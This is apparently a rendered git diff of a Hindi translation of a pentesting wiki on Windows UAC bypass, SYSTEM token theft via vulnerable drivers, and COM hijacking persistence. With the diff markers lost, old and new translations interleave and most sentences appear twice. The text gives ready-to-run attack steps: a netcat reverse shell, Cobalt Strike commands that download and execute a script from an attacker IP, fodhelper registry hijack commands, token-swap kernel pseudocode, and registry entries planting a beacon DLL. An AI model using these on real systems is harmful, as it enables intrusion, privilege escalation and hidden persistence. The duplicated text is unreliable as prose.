- If `EnableLua=1` और **`LocalAccountTokenFilterPolicy=1`**, तो किसी के लिए भी UAC नहीं
- If `EnableLua=1` और **`LocalAccountTokenFilterPolicy=0` और `FilterAdministratorToken=0`**, तो RID 500 (Built-in Administrator) के लिए UAC नहीं
- If `EnableLua=1` और **`LocalAccountTokenFilterPolicy=0` और `FilterAdministratorToken=1`**, तो सभी के लिए UAC
- If `EnableLUA=0` or **doesn't exist**, **किसी के लिए भी UAC नहीं**
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , किसी के लिए भी UAC नहीं**
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, RID 500 (Built-in Administrator) के लिए UAC नहीं**
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, सभी के लिए UAC**
यह सारी जानकारी **metasploit** module: `post/windows/gather/win_privs` का उपयोग करके इकट्ठी की जा सकती है
All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs`
आप अपने उपयोगकर्ता के समूह भी देख सकते हैं और उसकी integrity level प्राप्त कर सकते हैं:
You can also check the groups of your user and get the integrity level:
```
net user %username%
whoami /groups | findstr Level
@ -92,15 +92,15 @@ whoami /groups | findstr Level
## UAC bypass
> [!TIP]
> ध्यान दें कि यदि आपके पास लक्षित मशीन तक ग्राफिकल एक्सेस है, तो UAC bypass सीधा होता है क्योंकि आप UAC prompt आने पर बस "Yes" पर क्लिक कर सकते हैं
> ध्यान दें कि अगर आपके पास पीड़ित तक ग्राफिकल एक्सेस है, तो UAC bypass सीधा है क्योंकि आप UAC prompt आने पर बस "Yes" पर क्लिक कर सकते हैं
UAC bypass की आवश्यकता निम्न स्थिति में होती है: **UAC सक्रिय है, आपका process medium integrity context में चल रहा है, और आपका user administrators group का सदस्य है**।
UAC bypass की आवश्यकता निम्न स्थिति में होती है: **UAC सक्रिय है, आपकी प्रक्रिया medium integrity context में चल रही है, और आपका उपयोगकर्ता administrators group का सदस्य है।**
यह बताना महत्वपूर्ण है कि यह **UAC को बायपास करना बहुत कठिन है यदि यह सबसे उच्च सुरक्षा स्तर (Always) पर है बनाम अन्य किसी भी स्तर (Default) पर होने की तुलना में।**
यह बताना जरूरी है कि UAC को बायपास करना **काफी कठिन** होता है जब यह उच्चतम सुरक्षा स्तर (Always) पर सेट हो, बनिस्बत अन्य स्तरों (Default) पर होने के।
### UAC disabled
यदि UAC पहले से disabled है (`ConsentPromptBehaviorAdmin` is **`0`**) तो आप **execute a reverse shell with admin privileges** (high integrity level) कुछ इस तरह उपयोग कर सकते हैं:
यदि UAC पहले से ही disabled है (`ConsentPromptBehaviorAdmin` is **`0`**) तो आप **admin privileges के साथ एक reverse shell execute** (high integrity level) कर सकते हैं, उदाहरण के लिए:
```bash
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
@ -108,12 +108,12 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10
```
#### UAC bypass with token duplication
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
- https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/
- https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html
### **Very** Basic UAC "bypass" (full file system access)
### **बहुत** बुनियादी UAC "bypass" (full file system access)
यदि आपके पास ऐसा shell है जिस user का सदस्य Administrators group में है, तो आप लोकली SMB (file system) के माध्यम से साझा **mount the C$** को एक नए डिस्क में माउंट कर सकते हैं और आपको **access to everything inside the file system** मिलेगा (यहाँ तक कि Administrator home folder भी)।
यदि आपके पास ऐसा shell है जिसमें user Administrators group का सदस्य है, तो आप SMB के माध्यम से साझा किए गए **mount the C$** को लोकल रूप से एक नए डिस्क में कर सकते हैं और आपको **access to everything inside the file system** मिल जाएगा (यहाँ तक कि Administrator home folder भी)।
> [!WARNING]
> **ऐसा लगता है कि यह ट्रिक अब काम नहीं कर रही है**
@ -126,7 +126,7 @@ dir \\127.0.0.1\c$\Users\Administrator\Desktop
```
### UAC bypass with cobalt strike
Cobalt Strike तकनीकें केवल तभी काम करेंगी यदि UAC अपने अधिकतम सुरक्षा स्तर पर सेट नहीं है।
Cobalt Strike techniques केवल तभी काम करेंगे यदि UAC अपने अधिकतम सुरक्षा स्तर पर सेट न हो।
```bash
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
@ -138,18 +138,18 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
```
**Empire** और **Metasploit** में भी कई मॉड्यूल हैं जो **bypass** करने के लिए **UAC** का उपयोग करते हैं।
**Empire** और **Metasploit** में भी कई मॉड्यूल हैं जो **UAC** को **bypass** करने के लिए उपयोग किए जा सकते हैं।
### KRBUACBypass
डॉक्यूमेंटेशन और टूल: [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
दस्तावेज़ और टूल: [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
### UAC bypass exploits
[**UACME** ](https://github.com/hfiref0x/UACME) जो कई UAC bypass exploits का एक **संकलन** है। ध्यान दें कि आपको **compile UACME using visual studio or msbuild** करना होगा। यह संकलन कई executables बनाएगा (जैसे `Source\Akagi\outout\x64\Debug\Akagi.exe`), आपको पता होना चाहिए **कौन सा चाहिए।**\
आपको **सावधान** रहना चाहिए क्योंकि कुछ bypasses कुछ अन्य प्रोग्रामों को **prompt कर देंगे** जो **उपयोगकर्ता** को **सूचित** कर देंगे कि कुछ हो रहा है।
[**UACME** ](https://github.com/hfiref0x/UACME) जो कई UAC bypass exploits का **संकलन** है। ध्यान दें कि आपको **UACME को Visual Studio या msbuild का उपयोग करके compile करना होगा**। संकलन कई executables बनाएगा (जैसे `Source\Akagi\outout\x64\Debug\Akagi.exe`), इसलिए आपको पता होना चाहिए **किसकी आपको आवश्यकता है।**\
आपको **सावधान** रहना चाहिए क्योंकि कुछ bypasses कुछ अन्य प्रोग्राम्स को prompt कर सकते हैं जो **user** को सचेत कर देंगे कि कुछ हो रहा है।
UACME में यह बताया गया है कि प्रत्येक technique किस **build version** से काम करना शुरू हुई। आप अपनी versions को प्रभावित करने वाली technique खोज सकते हैं:
UACME में यह बताया गया है कि किस **build version से प्रत्येक technique काम करना शुरू हुई**। आप अपने versions को प्रभावित करने वाली technique खोज सकते हैं:
```
PS C:\> [environment]::OSVersion.Version
@ -161,13 +161,13 @@ Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) pag
### UAC Bypass – fodhelper.exe (Registry hijack)
विश्वसनीय बाइनरी `fodhelper.exe` आधुनिक Windows पर auto-elevated होता है। इसे लॉन्च करने पर यह पर-यूज़र registry path को नीचे दिखाए अनुसार पूछता है और `DelegateExecute` verb को validate नहीं करता। वहाँ कोई command रख देने से एक Medium Integrity process (user Administrators में है) बिना UAC prompt के एक High Integrity process को spawn कर सकता है।
The trusted binary `fodhelper.exe` is auto-elevated on modern Windows. When launched, it queries the per-user registry path below without validating the `DelegateExecute` verb. Planting a command there allows a Medium Integrity process (user is in Administrators) to spawn a High Integrity process without a UAC prompt.
Registry path queried by fodhelper:
fodhelper द्वारा क्वेरी की गई Registry path:
```
HKCU\Software\Classes\ms-settings\Shell\Open\command
```
PowerShell चरण (अपना payload सेट करें, फिर ट्रिगर करें):
PowerShell चरण (अपना payload सेट करें, फिर trigger करें):
```powershell
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
@ -186,45 +186,45 @@ Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
# 4) (Recommended) Cleanup
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
```
Notes:
- यह तभी काम करता है जब वर्तमान उपयोगकर्ता Administrators का सदस्य हो और UAC स्तर default/lenient हो (Always Notify जैसे अतिरिक्त प्रतिबंधों वाले स्तर पर नहीं)।
- Use the `sysnative` path to start a 64-bit PowerShell from a 32-bit process on 64-bit Windows.
- Payload कोई भी कमांड हो सकती है (PowerShell, cmd, या किसी EXE का path)। stealth के लिये prompting UIs से बचें।
नोट्स:
- तब काम करता है जब वर्तमान उपयोगकर्ता Administrators का सदस्य हो और UAC स्तर default/lenient हो (Always Notify with extra restrictions नहीं)।
- 64-bit Windows पर 32-bit प्रक्रिया से 64-bit PowerShell शुरू करने के लिए `sysnative` path का उपयोग करें।
- Payload कोई भी कमांड हो सकती है (PowerShell, cmd, या कोई EXE path)। Stealth के लिए prompting UIs से बचें।
#### More UAC bypass
#### अधिक UAC bypass
**सभी** उन techniques जिन्हें यहाँ UAC को bypass करने के लिए उपयोग किया गया है **AUC** को बायपास करने के लिए **पूर्ण interactive shell** की आवश्यकता होती है (एक सामान्य nc.exe shell पर्याप्त नहीं है)।
**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
आप इसे **meterpreter** session के माध्यम से प्राप्त कर सकते हैं। ऐसे **process** में migrate करें जिसका **Session** मान **1** के बराबर हो:
You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**:
![](<../../images/image (863).png>)
(_explorer.exe_ काम करेगा)
(_explorer.exe_ should works)
### UAC Bypass with GUI
यदि आपके पास **GUI** तक पहुँच है तो जब UAC prompt आए आप बस उसे accept कर सकते हैं, आपको वास्तव में bypass की जरूरत नहीं होती। इसलिए, GUI तक पहुँच मिलना UAC को बायपास करने की अनुमति देता है।
यदि आपके पास GUI की पहुँच है तो जब UAC prompt आएगा आप बस उसे accept कर सकते हैं, आपको वास्तव में bypass की ज़रूरत नहीं है। इसलिए, GUI की पहुँच पाने से आप UAC को bypass कर पाएँगे।
इसके अलावा, यदि आपको वही GUI session मिलती है जिसे कोई उपयोगकर्ता उपयोग कर रहा था (संभवतः RDP के माध्यम से), तो वहाँ कुछ tools ऐसे होंगे जो administrator के रूप में चल रहे होंगे जिनसे आप उदाहरण के लिए सीधे बिना UAC द्वारा फिर से पूछा जाए एक **cmd** को **as admin** चला सकते हैं, जैसे [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). यह थोड़ा अधिक **stealthy** हो सकता है।
इसके अलावा, यदि आपको ऐसा GUI session मिल जाता है जिसे कोई उपयोगकर्ता इस्तेमाल कर रहा था (संभावित रूप से RDP के माध्यम से), तो वहाँ कुछ ऐसे tools होंगे जो administrator के रूप में चल रहे होंगे जिनसे आप सीधे उदाहरण के लिए **cmd** को **as admin** चलाने जैसे काम कर सकते हैं बिना फिर से UAC द्वारा prompt किए गए — जैसे [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)। यह थोड़ा अधिक **stealthy** हो सकता है।
### Noisy brute-force UAC bypass
यदि आपको शोरगुल की परवाह नहीं है तो आप हमेशा [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) जैसे कुछ चला सकते हैं जो तब तक permissions बढ़ाने का अनुरोध करता रहेगा जब तक उपयोगकर्ता इसे स्वीकार नहीं कर लेता।
यदि आपको noisy होने की परवाह नहीं है तो आप हमेशा इस तरह के टूल चला सकते हैं: [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) जो **ask to elevate permissions until the user does accepts it**।
### Your own bypass - Basic UAC bypass methodology
यदि आप **UACME** को देखें तो आप पाएंगे कि अधिकांश UAC bypasses एक Dll Hijacking vulnerability का दुरुपयोग करते हैं (मुख्य रूप से malicious dll को _C:\Windows\System32_ पर लिखना)। [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
यदि आप **UACME** को देखेंगे तो ध्यान देंगे कि **most UAC bypasses abuse a Dll Hijacking vulnerability** (मुख्यतः malicious dll को _C:\Windows\System32_ पर लिखकर)। [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
1. ऐसा binary ढूँढें जो **autoelevate** करे (जब इसे चलाया जाए तो यह high integrity level पर चलता है यह जांचें)।
2. procmon के साथ उन "**NAME NOT FOUND**" events को खोजें जो **DLL Hijacking** के लिये संवेदनशील हो सकती हैं।
3. शायद आपको कुछ **protected paths** (जैसे C:\Windows\System32) के अंदर DLL को **write** करना पड़ेगा जहाँ आपके पास लिखने की permissions नहीं होती। आप इसे निम्नलिखित तरीकों से बायपास कर सकते हैं:
1. **wusa.exe**: Windows 7,8 and 8.1। यह protected paths के अंदर CAB फाइल की सामग्री को extract करने की अनुमति देता है (क्योंकि यह tool high integrity level से executed होता है)।
2. **IFileOperation**: Windows 10।
4. एक **script** तैयार करें जो आपके DLL को protected path में copy करे और फिर vulnerable और autoelevated binary को execute करे।
1. Find a binary that will **autoelevate** (यह जाँचें कि जब इसे execute किया जाता है तो यह high integrity level पर चलता है)।
2. procmon के साथ उन "**NAME NOT FOUND**" events को खोजें जो **DLL Hijacking** के लिए vulnerable हो सकते हैं।
3. सम्भवत: आपको कुछ **protected paths** (जैसे C:\Windows\System32) के अंदर DLL **write** करनी पड़ेगी जहाँ आपकी writing permissions नहीं हैं। इसे bypass करने के लिए आप निम्न का उपयोग कर सकते हैं:
1. **wusa.exe**: Windows 7,8 और 8.1। यह CAB file की सामग्री को protected paths के अंदर extract करने की अनुमति देता है (क्योंकि यह टूल high integrity level से execute होता है)।
2. **IFileOperation**: Windows 10।
4. अपने DLL को protected path में copy करने और vulnerable तथा autoelevated binary को execute करने के लिए एक **script** तैयार करें।
### Another UAC bypass technique
यह इस बात पर निर्भर करता है कि क्या कोई **autoElevated binary** registry से किसी **binary** या **command** के **name/path** को **read** करने की कोशिश करता है जिसे **executed** किया जाना है (यह तब अधिक दिलचस्प होता है जब binary यह जानकारी **HKCU** के अंदर खोजता है)।
यह इस बात को देखने पर आधारित है कि क्या कोई **autoElevated binary** registry से किसी **binary** या **command** के **name/path** को **read** करने की कोशिश करता है जिसे **executed** किया जाना है (यह तब अधिक दिलचस्प होता है जब binary यह जानकारी **HKCU** के अंदर खोजता है)।
## References
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)

654
src/windows-hardening/windows-local-privilege-escalation/README.md
View File

File diff suppressed because it is too large Load Diff

52
src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md
View File

@ -4,35 +4,35 @@
## अवलोकन
यदि कोई vulnerable driver ऐसा IOCTL expose करता है जो attacker को arbitrary kernel read और/या write primitives देता है, तो NT AUTHORITY\SYSTEM तक privilege उठाना अक्सर SYSTEM access token चोरी करके हासिल किया जा सकता है। यह technique SYSTEM प्रक्रिया के EPROCESS से Token pointer को वर्तमान प्रक्रिया के EPROCESS में copy करती है।
यदि कोई vulnerable driver ऐसा IOCTL एक्सपोज़ करता है जो हमलावर को arbitrary kernel read और/या write primitives देता है, तो NT AUTHORITY\SYSTEM पर उन्नयन अक्सर SYSTEM access token चुरा कर हासिल किया जा सकता है। यह तकनीक SYSTEM process के EPROCESS से Token pointer को वर्तमान process के EPROCESS में कॉपी करती है।
क्यों यह काम करता है:
- हर प्रक्रिया के पास एक EPROCESS structure होता है जो (अन्य फ़ील्ड्स के अलावा) एक Token रखता है (वास्तव में token object के लिए एक EX_FAST_REF)।
- SYSTEM process (PID 4) के पास सभी privileges enabled वाले token होते हैं।
- वर्तमान प्रक्रिया के EPROCESS.Token को SYSTEM token pointer से बदल देने पर वर्तमान प्रक्रिया तुरंत SYSTEM के रूप में चलने लगती है।
- प्रत्येक process का एक EPROCESS संरचना होती है जिसमें (अन्य फील्ड्स के साथ) एक Token होता है (वास्तव में token object के लिए एक EX_FAST_REF)।
- SYSTEM process (PID 4) के पास सभी privileges सक्षम किए हुए एक token होता है।
- वर्तमान process का EPROCESS.Token को SYSTEM token pointer से बदलने पर वर्तमान process तुरंत SYSTEM के रूप में चलने लगता है।
> Offsets in EPROCESS vary across Windows versions. Determine them dynamically (symbols) or use version-specific constants. Also remember that EPROCESS.Token is an EX_FAST_REF (low 3 bits are reference count flags).
> EPROCESS में offsets Windows के संस्करणों के अनुसार बदलते रहते हैं। इन्हें डायनामिकली (symbols) से निर्धारित करें या version-specific constants का उपयोग करें। साथ ही याद रखें कि EPROCESS.Token एक EX_FAST_REF है (निचले 3 बिट्स reference count flags हैं)।
## उच्च-स्तरीय चरण
1) ntoskrnl.exe base को ढूंढें और PsInitialSystemProcess का address resolve करें.
- user mode से, loaded driver bases प्राप्त करने के लिए NtQuerySystemInformation(SystemModuleInformation) या EnumDeviceDrivers का उपयोग करें.
- PsInitialSystemProcess का offset (from symbols/reversing) kernel base में जोड़ें ताकि उसका address मिल सके.
2) PsInitialSystemProcess पर स्थित pointer पढ़ें → यह SYSTEM के EPROCESS का kernel pointer होता है.
3) SYSTEM EPROCESS से, UniqueProcessId और ActiveProcessLinks offsets पढ़ें ताकि EPROCESS structures की doubly linked list (ActiveProcessLinks.Flink/Blink) traverse कर सकें जब तक कि आप वह EPROCESS न मिल जाए जिसका UniqueProcessId GetCurrentProcessId() के बराबर हो। दोनों को रखें:
- EPROCESS_SYSTEM (for SYSTEM)
- EPROCESS_SELF (for the current process)
4) SYSTEM token value पढ़ें: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
- निचले 3 बिट्स mask कर दें: Token_SYS_masked = Token_SYS & ~0xF (commonly ~0xF or ~0x7 depending on build; on x64 the low 3 bits are used — 0xFFFFFFFFFFFFFFF8 mask).
5) Option A (common): अपने current token के निचले 3 बिट्स को सुरक्षित रखें और embedded ref count consistent रखने के लिए उन्हें SYSTEM के pointer पर splice करें।
1) ntoskrnl.exe base ढूंढें और PsInitialSystemProcess का पता हल करें।
- user mode से, loaded driver bases पाने के लिए NtQuerySystemInformation(SystemModuleInformation) या EnumDeviceDrivers का उपयोग करें।
- kernel base में PsInitialSystemProcess का offset (symbols/reversing से) जोड़कर उसका address प्राप्त करें।
2) PsInitialSystemProcess पर pointer पढ़ें → यह SYSTEM के EPROCESS का kernel pointer है।
3) SYSTEM EPROCESS से UniqueProcessId और ActiveProcessLinks के offsets पढ़ें ताकि EPROCESS संरचनाओं की doubly linked list (ActiveProcessLinks.Flink/Blink) को traverse किया जा सके, जब तक कि आप उस EPROCESS को न पाएं जिसकी UniqueProcessId GetCurrentProcessId() के बराबर हो। दोनों को रखें:
- EPROCESS_SYSTEM (SYSTEM के लिए)
- EPROCESS_SELF (वर्तमान process के लिए)
4) SYSTEM token value पढ़ें: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset)।
- निचले 3 बिट्स को mask करें: Token_SYS_masked = Token_SYS & ~0xF (आम तौर पर ~0xF या ~0x7 बिल्ड पर निर्भर करता है; x64 पर निचले 3 बिट्स का उपयोग होता है — 0xFFFFFFFFFFFFFFF8 mask)।
5) विकल्प A (सामान्य): अपनी current token के निचले 3 बिट्स को संरक्षित रखें और embedded ref count को consistent रखने के लिए उन्हें SYSTEM के pointer पर splice करें।
- Token_ME = *(EPROCESS_SELF + TokenOffset)
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
6) अपने kernel write primitive का उपयोग करके Token_NEW को (EPROCESS_SELF + TokenOffset) में वापस लिखें।
7) अब आपकी वर्तमान प्रक्रिया SYSTEM बन चुकी है। पुष्टि के लिए वैकल्पिक रूप से नया cmd.exe या powershell.exe spawn करें।
7) आपका वर्तमान process अब SYSTEM है। पुष्टि के लिए वैकल्पिक रूप से नया cmd.exe या powershell.exe spawn करें।
## Pseudocode
## छद्मकोड
नीचे एक skeleton है जो केवल vulnerable driver के दो IOCTLs का उपयोग करता है, एक 8-byte kernel read के लिए और एक 8-byte kernel write के लिए। इसे अपने driver’s interface से बदलें।
नीचे एक skeleton है जो केवल एक vulnerable driver से दो IOCTLs का उपयोग करता है, एक 8-byte kernel read के लिए और एक 8-byte kernel write के लिए। इसे अपने driver के interface से बदलें।
```c
#include <Windows.h>
#include <Psapi.h>
@ -105,17 +105,17 @@ system("cmd.exe");
return 0;
}
```
Notes:
- Offsets: सही offsets पाने के लिए target के PDBs के साथ WinDbg’s `dt nt!_EPROCESS` या किसी runtime symbol loader का उपयोग करें। अंधाधुंध hardcode न करें।
- Mask: x64 पर token एक EX_FAST_REF होता है; low 3 bits reference count बिट्स होते हैं। अपने token के मूल low bits बनाए रखने से तुरंत refcount असंगतियों से बचा जा सकता है।
- Stability: वर्तमान process को elevate करना प्राथमिकता दें; अगर आप किसी short-lived helper को elevate करते हैं तो वह exit होने पर SYSTEM खो सकता है।
नोट्स:
- ऑफ़सेट: WinDbg’s `dt nt!_EPROCESS` को लक्ष्य के PDBs के साथ, या एक runtime symbol loader का उपयोग करके, सही offsets प्राप्त करें। अंधाधुंध हार्डकोड न करें।
- मास्क: x64 पर token एक EX_FAST_REF है; निचले 3 बिट रेफरेंस काउंट बिट्स होते हैं। अपने token के मूल निचले बिट्स बनाए रखने से तुरंत refcount असंगतियों से बचता है।
- स्थिरता: वर्तमान प्रोसेस को बढ़ाना प्राथमिकता दें; यदि आप किसी short-lived helper को elevate करते हैं तो वह समाप्त होते ही SYSTEM खो सकते हैं।
## डिटेक्शन और निवारण
- unsigned या untrusted third‑party drivers को लोड करना जो powerful IOCTLs expose करते हैं, मूल कारण होता है।
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, और Attack Surface Reduction नियम vulnerable drivers के लोड होने को रोक सकते हैं।
- EDR suspicious IOCTL sequences के लिए निगरानी कर सकता है जो arbitrary read/write लागू करते हैं और token swaps के लिए भी देख सकता है।
- शक्तिशाली IOCTLs उजागर करने वाले unsigned या अविश्वसनीय third‑party drivers को लोड करना मूल कारण है।
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, और Attack Surface Reduction नियम कमजोर ड्राइवर्स को लोड होने से रोक सकते हैं।
- EDR संदिग्ध IOCTL sequences जो arbitrary read/write को लागू करते हैं और token swaps के लिए निगरानी कर सकता है।
## References
## संदर्भ
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)

43
src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
View File

@ -2,23 +2,23 @@
{{#include ../../banners/hacktricks-training.md}}
### मौजूद नहीं वाले COM घटकों की खोज
### मौजूद नहीं COM घटकों की खोज
चूंकि HKCU के मान उपयोगकर्ताओं द्वारा संशोधित किए जा सकते हैं, **COM Hijacking** को एक **स्थायी तंत्र** के रूप में उपयोग किया जा सकता है। `procmon` का उपयोग करके उन COM रजिस्ट्री प्रविष्टियों को ढूँढना आसान है जो मौजूद नहीं हैं और जिन्हें attacker persistence के लिए बना सकता है। फिल्टर:
चूँकि HKCU के मान उपयोगकर्ताओं द्वारा बदले जा सकते हैं, इसलिए **COM Hijacking** को एक **स्थायी तंत्र** के रूप में उपयोग किया जा सकता है। `procmon` का उपयोग करके उन COM रजिस्ट्रीज़ को ढूँढना आसान है जो मौजूद नहीं हैं और जिन्हें एक हमलावर स्थायी रूप से बनाने के लिए बना सकता है। फ़िल्टर:
- **RegOpenKey** operations.
- जहाँ _Result_ **NAME NOT FOUND** हो।
- और _Path_ **InprocServer32** पर समाप्त होता हो।
- **RegOpenKey** ऑपरेशन.
- जहाँ _Result_ **NAME NOT FOUND** है.
- और _Path_ **InprocServer32** पर समाप्त होता है.
एक बार जब आप तय कर लें कि किस मौजूद नहीं वाले COM का impersonate करना है, तो निम्नलिखित commands चलाएँ। _यदि आप ऐसा COM impersonate करने का निर्णय लेते हैं जो हर कुछ सेकंड में लोड होता है तो सावधान रहें क्योंकि यह overkill हो सकता है._
एक बार आपने तय कर लिया कि किस मौजूद नहीं वाले COM की नक़ल करनी है, निम्नलिखित कमांड्स चलाएँ। _ध्यान रखें कि अगर आप किसी ऐसे COM की नक़ल करते हैं जो हर कुछ सेकंड में लोड होता है तो यह ज़रूरत से ज़्यादा हो सकता है._
```bash
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
```
### हाइजैक करने योग्य Task Scheduler के COM components
### Hijackable Task Scheduler COM components
Windows Tasks Custom Triggers का उपयोग COM objects को कॉल करने के लिए करते हैं, और चूँकि इन्हें Task Scheduler के माध्यम से execute किया जाता है, इसलिए यह अनुमान लगाना आसान होता है कि इन्हें कब trigger किया जाएगा.
Windows Tasks Custom Triggers का उपयोग करके COM objects को कॉल करते हैं और क्योंकि वे Task Scheduler के माध्यम से execute होते हैं, इसलिए यह अनुमान लगाना आसान होता है कि उन्हें कब ट्रिगर किया जाएगा।
<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
$Tasks = Get-ScheduledTask
@ -49,9 +49,9 @@ Write-Host
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
# [more like the previous one...]</code></pre>
आउटपुट की जाँच करके आप उदाहरण के लिए ऐसा चुन सकते हैं जो **हर बार कोई उपयोगकर्ता लॉग इन करता है** तब execute होगा।
आउटपुट को देखकर आप उस टास्क का चयन कर सकते हैं जो उदाहरण के लिए **हर बार जब कोई उपयोगकर्ता लॉग इन करता है** चलाया जाएगा।
अब CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** को **HKEY\CLASSES\ROOT\CLSID** और HKLM व HKCU में खोजने पर, आम तौर पर आप पाएँगे कि यह मान HKCU में मौजूद नहीं होता है।
अब CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** को **HKEY\CLASSES\ROOT\CLSID** और HKLM तथा HKCU में खोजने पर, आम तौर पर आप पाएंगे कि यह value HKCU में मौजूद नहीं होती।
```bash
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
@ -72,32 +72,32 @@ Name Property
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
```
फिर, आप बस HKCU एंट्री बना सकते हैं और हर बार जब उपयोगकर्ता लॉग इन करेगा, आपका backdoor सक्रिय हो जाएगा।
फिर, आप केवल HKCU एंट्री बना सकते हैं और हर बार जब उपयोगकर्ता लॉग इन करेगा, आपका backdoor सक्रिय हो जाएगा।
---
## COM TypeLib Hijacking (script: moniker persistence)
Type Libraries (TypeLib) COM interfaces को परिभाषित करते हैं और `LoadTypeLib()` के माध्यम से लोड होते हैं। जब कोई COM सर्वर इंस्टेंस बनाया जाता है, तो OS संबंधित TypeLib को भी लोड कर सकता है — इसके लिए यह `HKCR\TypeLib\{LIBID}` के तहत रजिस्ट्री कीज़ की जांच करता है। यदि TypeLib path को एक **moniker** से बदल दिया जाता है, उदाहरण के लिए `script:C:\...\evil.sct`, तो जब TypeLib resolve होगा तो Windows उस scriptlet को execute कर देगा — जिससे एक छिपी हुई persistence बन जाती है जो सामान्य कंपोनेंट्स के इस्तेमाल होने पर ट्रिगर होती है।
Type Libraries (TypeLib) COM इंटरफेस को परिभाषित करती हैं और `LoadTypeLib()` के माध्यम से लोड की जाती हैं। जब कोई COM server instantiate होता है, तो OS संबंधित TypeLib को भी लोड कर सकता है, यह देखकर कि registry keys `HKCR\TypeLib\{LIBID}` के अंतर्गत क्या है। यदि TypeLib पाथ को एक **moniker** से बदल दिया जाए, जैसे `script:C:\...\evil.sct`, तो जब TypeLib resolve होगा तब Windows उस scriptlet को execute करेगा – जिससे एक stealthy persistence बनती है जो आम कंपोनेंट्स के उपयोग पर trigger होती है।
यह Microsoft Web Browser control के खिलाफ देखा गया है (जो अक्सर Internet Explorer, apps embedding WebBrowser, और यहां तक कि `explorer.exe` द्वारा लोड होता है)।
This has been observed against the Microsoft Web Browser control (frequently loaded by Internet Explorer, apps embedding WebBrowser, and even `explorer.exe`).
### Steps (PowerShell)
1) उस TypeLib (LIBID) की पहचान करें जिसका उपयोग किसी high-frequency CLSID द्वारा किया जाता है। उदाहरण के तौर पर अक्सर malware chains द्वारा दुरुपयोग किया जाने वाला CLSID: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
1) Identify the TypeLib (LIBID) used by a high-frequency CLSID. Example CLSID often abused by malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
```powershell
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
